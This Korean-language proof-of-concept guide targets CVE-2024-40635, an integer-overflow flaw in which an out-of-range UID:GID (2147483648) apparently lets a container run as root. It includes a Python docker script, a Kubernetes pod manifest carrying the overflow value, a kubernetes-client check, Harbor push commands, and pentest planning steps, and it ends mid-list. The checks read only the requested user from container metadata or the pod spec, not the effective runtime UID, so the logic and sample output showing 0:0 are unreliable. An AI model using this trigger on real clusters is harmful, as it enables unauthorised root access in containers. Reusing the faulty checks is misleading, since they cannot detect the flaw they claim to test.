
CVE-2024-40635 취약점 증명을 위한 개념 증명 코드
CVE-2024-40635 취약점을 증명하기 위한 개념 증명 코드
데이터 출처: https://nvd.nist.gov/vuln/detail/CVE-2024-40635
import docker
Python docker 라이브러리를 가져옵니다. 이 라이브러리는 Docker API를 사용하여 Docker와 상호작용할 수 있게 해줍니다. 이 라이브러리가 설치되어 있지 않다면 다음 명령어로 설치할 수 있습니다:
pip install docker
client = docker.from_env()
여기서는 docker.from_env() 메서드를 사용하여 Docker 클라이언트 객체를 생성합니다. 이는 머신(또는 설정된 경우 원격 호스트)에서 실행 중인 Docker 데몬에 연결합니다.
def is_system_vulnerable(container):
try:
# Inspect container details
details = container.attrs
uid_gid = details['Config']['User']
print(f"Container UID:GID = {uid_gid}") # Print the UID:GID
if uid_gid == "0:0": # Root UID:GID
return True
return False
except Exception as e:
print(f"Error checking container details: {e}")
return False
목적: 이 함수는 생성된 컨테이너의 속성을 검사하여 시스템이 취약한지 확인합니다.
주요 단계:
container.attrs: 컨테이너에 대한 모든 메타데이터(구성, 런타임 설정 등)를 가져옵니다.
details['Config']['User']: 컨테이너가 실행되는 UID:GID(사용자 및 그룹 ID)를 추출합니다. 이 속성이 테스트 대상입니다.
print(f"Container UID:GID = {uid_gid}"): 가시성을 위해 항상 UID:GID를 출력합니다.
취약점 확인: UID:GID가 "0:0"이면 컨테이너가 루트 권한으로 실행되고 있음을 나타내며 시스템이 취약합니다.
container = client.containers.run(
"vulnerable-image", # Replace with your test image
user="2147483648:2147483648", # UID:GID exceeding 32-bit signed integer
detach=True
)
client.containers.run: Docker 컨테이너를 생성하고 시작합니다.
"vulnerable-image": 실제 테스트에 적합한 Docker 이미지 이름으로 바꾸세요.
user="2147483648:2147483648": 여기서는 사용자 및 그룹 ID(UID:GID)를 사용자 지정 값으로 설정합니다. 이 값은 32비트 부호 있는 정수 범위를 초과하며, 이는 취약점의 트리거 조건입니다.
detach=True: 컨테이너가 백그라운드에서 실행되도록 하여 스크립트가 컨테이너 실행 완료를 기다리지 않고 계속 진행할 수 있습니다.
try:
...
except Exception as e:
print(f"Error: {e}")
이 try-except 블록은 컨테이너 생성 또는 실행 중 발생하는 오류를 포착하여 출력함으로써 스크립트가 갑자기 종료되는 것을 방지합니다.
print(f"Container {container.id} started.")
컨테이너가 성공적으로 생성되고 시작되면 고유 ID가 참조용으로 출력됩니다. 이는 디버깅 또는 컨테이너 추가 검사에 유용합니다.
if is_system_vulnerable(container):
print("System is vulnerable: Container is running as root!")
else:
print("System is not vulnerable.")
생성된 컨테이너를 인자로 전달하여 is_system_vulnerable 함수를 호출합니다.
결과(True는 취약, False는 취약하지 않음)에 따라 해당 메시지를 출력합니다.
이 스크립트는 출력에 다음을 포함한 상세 정보를 제공하도록 설계되었습니다:
컨테이너에 할당된 UID:GID.
시스템이 취약한지 여부에 대한 명확한 표시.
테스트 환경에서 이 스크립트가 실행되고 다음과 같은 상황이 발생한다고 가정해 봅시다:
2147483648:2147483648를 사용하여 컨테이너가 생성됩니다.0:0(루트)로 해석하여 컨테이너가 루트 권한으로 실행됩니다.Container abc123 started.
Container UID:GID = 0:0
System is vulnerable: Container is running as root!
반대로 시스템이 큰 UID:GID 값을 올바르게 처리하여 루트로 매핑하지 않는다면 다음과 같은 결과를 볼 수 있습니다:
Container xyz456 started.
Container UID:GID = 2147483648:2147483648
System is not vulnerable.
"vulnerable-image"를 테스트 시나리오에 적합한 Docker 이미지(예: 종속성이 최소인 이미지)로 바꾸세요.이 개념 증명(PoC)을 침투 테스트를 위해 Kubernetes 및 Harbor와 같은 실제 환경에서 실행하려면 테스트가 통제되고 윤리적이며 영향력 있도록 신중한 계획이 필요합니다. 이를 수행하는 방법은 다음과 같습니다.
1. 계획 및 준비 범위 이해: 테스트 경계를 정의하십시오. 실제 환경에서 침투 테스트를 수행할 수 있는 명시적 권한이 있는지 확인하십시오.
2. 백업: 테스트가 가용성이나 데이터에 영향을 줄 수 있으므로 중요 시스템과 컨테이너의 백업을 생성하십시오.
3. 테스트 환경: 프로덕션 워크로드에 영향을 주지 않도록 Kubernetes 내에 PoC 전용 네임스페이스나 클러스터를 설정하십시오.
Kubernetes 클러스터 내에 취약한 버전의 containerd(v1.6.35-gke.0)를 사용하는 컨테이너를 배포하십시오.
공격 표면을 최소화하기 위해 종속성이 최소인 Docker 이미지(예: "vulnerable-image")를 사용하십시오.
Kubernetes 배포를 위한 예제 YAML:
apiVersion: v1
kind: Pod
metadata:
name: vulnerable-pod
namespace: pentest
spec:
containers:
- name: vulnerable-container
image: vulnerable-image # Replace with your test image
securityContext:
runAsUser: 2147483648 # Intentionally exceed 32-bit signed integer
runAsGroup: 2147483648
다음 명령어로 YAML을 적용하십시오:
kubectl apply -f pod.yml
b. PoC로 확인
Kubernetes 클러스터에 접근할 수 있는 머신에서 개발한 Python 스크립트를 실행하십시오. 예를 들어, kubernetes Python 라이브러리를 사용하여 Kubernetes와 상호작용하도록 스크립트를 수정할 수 있습니다.
다음 명령어로 설치하십시오:
pip install kubernetes
Kubernetes를 통합하기 위한 업데이트된 코드 조각은 다음과 같습니다:
from kubernetes import client, config
# Load Kubernetes configuration
config.load_kube_config()
# Create a Kubernetes API client
v1 = client.CoreV1Api()
# Check UID:GID for the specified pod
def check_pod_user(pod_name, namespace):
pod = v1.read_namespaced_pod(name=pod_name, namespace=namespace)
uid = pod.spec.containers[0].security_context.run_as_user
gid = pod.spec.containers[0].security_context.run_as_group
print(f"Pod {pod_name} UID:GID = {uid}:{gid}")
if uid == 0 and gid == 0:
print("System is vulnerable: Pod is running as root!")
else:
print("System is not vulnerable.")
check_pod_user("vulnerable-pod", "pentest")
docker tag vulnerable-image harbor.local/vulnerable-image:latest
docker push harbor.local/vulnerable-image:latest
Harbor를 사용하면 이미지 접근을 제어할 수 있으므로, 취약한 이미지가 침투 테스트에서만 사용되도록 접근을 제한하십시오.
검증: PoC 실행 후 로그에서 취약점이 트리거되었는지 확인하십시오. 예를 들어, 컨테이너(또는 Pod)가 루트로 실행되고 있는지 확인하십시오.
문서화: 다음과 같은 발견 사항을 기록하십시오: